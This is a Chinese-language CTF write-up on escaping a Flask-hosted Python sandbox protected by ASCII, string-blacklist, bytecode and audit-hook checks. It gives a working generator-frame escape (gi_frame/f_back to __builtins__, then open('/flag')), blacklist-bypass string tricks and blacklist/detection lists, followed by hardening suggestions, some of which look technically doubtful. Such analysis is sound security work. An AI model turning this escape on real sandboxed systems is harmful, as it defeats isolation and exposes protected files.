Python沙箱逃逸实战利用生成器栈帧突破四重防御体系在CTF竞赛和安全研究中Python沙箱逃逸一直是热门话题。最近一场比赛中出现的Flask沙箱环境通过ASCII检查、字符串黑名单、字节码审计和sys.audithook构建了四重防御机制堪称近年来最严密的Python沙箱设计之一。本文将深入剖析如何利用生成器的gi_frame和f_back属性进行栈帧逃逸逐步获取全局__builtins__最终突破所有防线。1. 沙箱环境的多层防御机制分析这个Flask应用的沙箱环境实现了四层安全校验每层都针对不同类型的攻击向量1.1 ASCII字符检查层def source_simple_check(source): try: source.encode(ascii) except UnicodeEncodeError: print(non-ascii is not permitted) exit()防御原理强制所有输入代码必须为纯ASCII字符防止通过Unicode字符进行混淆或编码绕过。绕过思路确保payload不使用任何非ASCII字符包括注释和字符串内容。1.2 危险字符串黑名单for i in [__, getattr, exit]: if i in source.lower(): print(i) exit()防御特点拦截包含双下划线__的字符串防止访问特殊方法禁用getattr等反射函数阻止直接调用exit终止沙箱限制范围仅检查字符串字面量不分析变量名和动态拼接的字符串。1.3 字节码操作审计for line in opcode: if any(x in str(line) for x in [LOAD_GLOBAL, IMPORT_NAME, LOAD_METHOD]): if any(x in str(line) for x in [randint, randrange, print, seed]): break print(.join([x for x in [LOAD_GLOBAL, IMPORT_NAME, LOAD_METHOD] if x in str(line)])) exit()关键检测点禁止加载全局变量LOAD_GLOBAL禁止导入模块IMPORT_NAME禁止方法调用LOAD_METHOD例外白名单仅允许使用randint、randrange、print和seed四个函数。1.4 运行时审计钩子def audit(event, args): for i in [marshal, __new__, process, os, sys, interpreter, cpython, open, compile, gc]: if i in (event .join(str(s) for s in args)).lower(): print(i) os._exit(1)监控范围覆盖了所有危险的运行时操作包括进程操作process、os解释器控制interpreter、cpython文件操作open代码编译compile防御强度即使前几层被绕过这一层也能在运行时阻断危险操作。2. 栈帧逃逸的核心原理Python的栈帧Frame对象包含了函数执行时的上下文信息通过巧妙利用生成器帧对象我们可以沿着调用链回溯最终突破沙箱限制。2.1 生成器帧对象属性解析生成器对象有三个关键属性可用于逃逸属性类型描述gi_frameframe当前生成器执行的栈帧gi_codecode生成器函数的代码对象__class__type生成器对象的类型其中gi_frame又包含以下重要属性def show_frame_details(): def generator(): yield 1 yield 2 gen generator() frame gen.gi_frame print(局部变量:, frame.f_locals) # 当前作用域的局部变量 print(全局变量:, frame.f_globals) # 模块级的全局变量 print(代码对象:, frame.f_code) # 当前执行的代码对象 print(上一帧:, frame.f_back) # 调用者的栈帧2.2 逃逸路径构建通过f_back属性我们可以沿着调用栈向上回溯获取生成器自身的帧对象通过f_back获取调用生成器的函数帧继续向上回溯到沙箱主执行帧最终到达包含__builtins__的全局帧典型逃逸链生成器帧 → 包装函数帧 → 执行函数帧 → 全局帧2.3 绕过字符串检测的技巧由于直接使用__builtins__会被字符串检测拦截可以采用以下变体# 字符串拼接绕过 builtins _*2 builtins _*2 # 字符数组组合 builtins [_,_,b,u,i,l,t,i,n,s,_,_] builtins .join(builtins) # 使用bytes解码 builtins bytes([95,95,98,117,105,108,116,105,110,115,95,95]).decode()3. 完整逃逸过程实现下面我们分步骤实现从零开始突破四重防御的完整过程。3.1 生成器帧获取首先创建一个能返回自身帧对象的生成器def escape(): def frame_generator(): yield g.gi_frame # 关键点返回生成器自身的帧对象 g frame_generator() frame next(g) # 获取生成器帧3.2 调用链回溯通过三次f_back回溯到沙箱主执行帧# 第一次f_back回到frame_generator函数帧 frame1 frame.f_back # 第二次f_back回到escape函数帧 frame2 frame1.f_back # 第三次f_back回到沙箱exec执行帧 frame3 frame2.f_back3.3 获取__builtins__从全局帧中提取完整的builtins模块# 方法1直接获取 builtins frame3.f_globals[__builtins__] # 方法2字符串拼接绕过 builtins frame3.f_globals[_*2builtins_*2]3.4 构造文件读取payload获取到builtins后就可以使用所有被禁止的危险函数# 获取open函数 file_open builtins.open # 读取flag文件 flag file_open(/flag).read() # 通过print输出白名单函数 print(flag)3.5 完整逃逸代码将以上步骤组合成最终payloaddef exploit(): def gen(): yield g.gi_frame.f_back.f_back.f_back g gen() frame next(g) builtins frame.f_globals[_*2builtins_*2] print(builtins.open(/flag).read())4. 防御加固建议针对这种栈帧逃逸技术沙箱设计者可以考虑以下加固措施4.1 限制帧对象访问def block_wrapper(): def audit(event, args): if frame in event.lower(): os._exit(1) return audit4.2 清除危险属性在执行用户代码前删除生成器的危险属性def sanitize_generator(g): for attr in [gi_frame, gi_code, __class__]: if hasattr(g, attr): delattr(g, attr)4.3 增强字节码检查在字节码层面阻断帧操作OPCODE_BLACKLIST [ LOAD_ATTR, # 防止访问gi_frame等属性 LOAD_METHOD, # 防止方法调用 BUILD_TUPLE, # 防止构造属性访问路径 ] for op in dis.get_instructions(code): if op.opname in OPCODE_BLACKLIST: raise SecurityError(f禁止操作码: {op.opname})4.4 使用纯Python子进程最彻底的解决方案是在独立进程中运行不可信代码def run_in_sandbox(code): # 在全新解释器中运行代码 cmd [python, -c, f import sys sys.modules[os] None sys.modules[__builtins__].__dict__.clear() exec({repr(code)}) ] subprocess.run(cmd, timeout3)5. 其他逃逸技术的对比分析除了栈帧逃逸Python沙箱逃逸还有多种技术路线各有优缺点技术适用场景本例可行性原因特性(property)逃逸允许定义类❌字节码检查阻断异常回溯逃逸允许引发异常❌审计钩子拦截装饰器逃逸允许使用语法❌ASCII检查限制代码对象替换可访问__code__❌字符串黑名单阻断生成器帧逃逸允许yield✅唯一未被完全防御的路径在实际测试中我们发现这个沙箱对生成器帧逃逸的防御存在盲点字节码检查未阻断YIELD_VALUE操作码审计钩子未监控帧属性访问事件字符串检查允许f_back这样的合法属性名这使得栈帧逃逸成为突破该沙箱的最有效方法。